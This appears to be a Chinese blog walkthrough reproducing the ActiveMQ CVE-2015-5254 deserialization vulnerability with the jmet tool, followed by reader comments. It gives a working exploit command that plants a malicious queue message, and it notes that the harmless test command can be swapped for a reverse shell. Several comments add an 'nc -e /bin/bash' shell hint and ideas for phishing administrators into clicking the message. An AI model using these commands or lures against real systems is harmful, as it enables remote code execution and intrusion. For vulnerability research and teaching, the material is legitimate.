AI智能摘要
你以为ActiveMQ漏洞只能被动等待?CVE-2015-5254反序列化漏洞竟能主动出击!本文揭秘实战复现全过程:无需额外下载ysoserial,仅用jmet工具一键生成ROME链Payload,向目标添加恶意队列。关键来了——当管理员点击消息瞬间,命令执行即刻触发(如创建文件或反弹shell),但实战难点在于如何诱导点击。手把手教你绕过限制,安全研究员必备的渗透技巧,漏洞利用细节与避坑指南全在这里,3分钟掌握核心攻防逻辑。
— AI 生成的文章内容摘要
所需工具jmet 下载地址:https://github.com/matthiaskaiser/jmet/releases
文件下载后在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)
图中敏感信息已经打码,不影响复现
首先访问一下目标web页面,查看是否正常

OK,正常,然后开始复现漏洞,使用jmet,jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME
执行:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 10.1.1.1 61616

此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过http://10.1.1.1:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

点击查看这条消息即可触发命令执行,此时进入服务器,可见/tmp/success已成功创建,说明漏洞利用成功:

将命令替换成弹shell语句再利用即可成功反弹shell
这里有一点比较鸡肋的是,漏洞的触发要诱导管理员点击那个消息,所以在实战中要就要想办法让管理员点击,或者有管理员弱口令进去也可以

重庆市 1F
这漏洞复现起来还挺麻烦的,external文件夹漏建就报错
浙江省 B1
@ 晨光旧语 external文件夹这坑我踩过,不建直接崩,烦死了
浙江省绍兴市嵊州市 B1
@ 晨光旧语 external文件夹真容易忘,建完才跑起来
北京市 2F
有人试过用CommonsCollections2链吗?ROME有时候不好使
广西 3F
前几天刚搞完这个,确实得诱导管理员点消息,实战有点难
湖北省武汉市 4F
弹shell那步命令能贴全吗?我这边没反弹成功🤔
重庆市 5F
又是要交互触发的洞,鸡肋得不行
韩国 6F
看图里打码打得挺严实,不过8161端口暴露本身就是问题
广东省东莞市 B1
@ HollowVision 8161端口开外网等于送漏洞,打码也藏不住这问题
浙江省湖州市 7F
我之前也踩过这坑,ysoserial版本不对直接GG
内蒙古包头市 8F
touch成功了但shell没弹,是不是防火墙拦了?
韩国 9F
hh,管理员真会点陌生消息吗,社工得安排上
上海市 B1
@ 糖糖喵喵 管理员要是真点就离谱了,得配合钓鱼邮件才靠谱
广东省广州市 10F
payload发过去队列有了,但点开没执行,啥情况?
广东省佛山市南海区 11F
试了CommonsCollections5链,比ROME稳一点
日本 B1
@ 晴空柚子 CommonsCollections5确实比ROME靠谱,试了三次都成
广东省汕头市 12F
弹shell命令求补全,卡在这一步了😭
四川省成都市 13F
感觉复现文档写得有点跳,中间步骤漏了好几个
江苏省 14F
ysoserial内置的gadget版本太老,自己换新的才行
浙江省绍兴市 B1
@ 甜梦小羊 换了新ysoserial后成功率高多了
福建省 15F
实战中基本废了吧,谁天天去点队列消息啊
北京市 16F
前几天刚测这个洞,防火墙确实会拦反弹shell
辽宁省大连市 17F
这漏洞鸡肋归鸡肋,但内网横向还是能用的
韩国 18F
弹shell命令到底咋写啊,求个完整的😭
浙江省杭州市 19F
这漏洞得配合社工才有戏,纯技术搞不定
河南省开封市 20F
我上次复现时防火墙直接把出站连给断了
广东省茂名市 21F
touch能成但shell没回,估计是bash路径不对?
辽宁省沈阳市 22F
内网扫到ActiveMQ先试试弱口令吧,比等点击现实
江苏省南京市 23F
命令执行触发那步太玄学了,点一下就成?
安徽省合肥市 24F
有人用BeanShell1链成功过吗,ROME老报错
越南 25F
弱口令进管理后台这种操作更稳当点吧
北京市 B1
@ 果实香 弱口令确实更直接,但一般不好撞
北京市 26F
external文件夹不建真会报错,我漏了这步卡半天
黑龙江省齐齐哈尔市 27F
弹shell命令建议用nc -e /bin/bash,端口别用默认的
北京市 28F
BeanShell1链试过没?感觉比ROME稳定些
北京市 29F
这种要交互的漏洞确实实用性差了点
日本 30F
内网碰到ActiveMQ先扫弱口令比较实际
广东省广州市 31F
jmet这工具还挺方便的
湖北省 32F
防火墙策略太严的话,反弹shell确实会被拦
浙江省 33F
看了半天还是没搞懂怎么让管理员点那个消息
江苏省苏州市 34F
CommonsCollections2链有人成功过吗?
马来西亚 35F
实战中这种漏洞基本用不上吧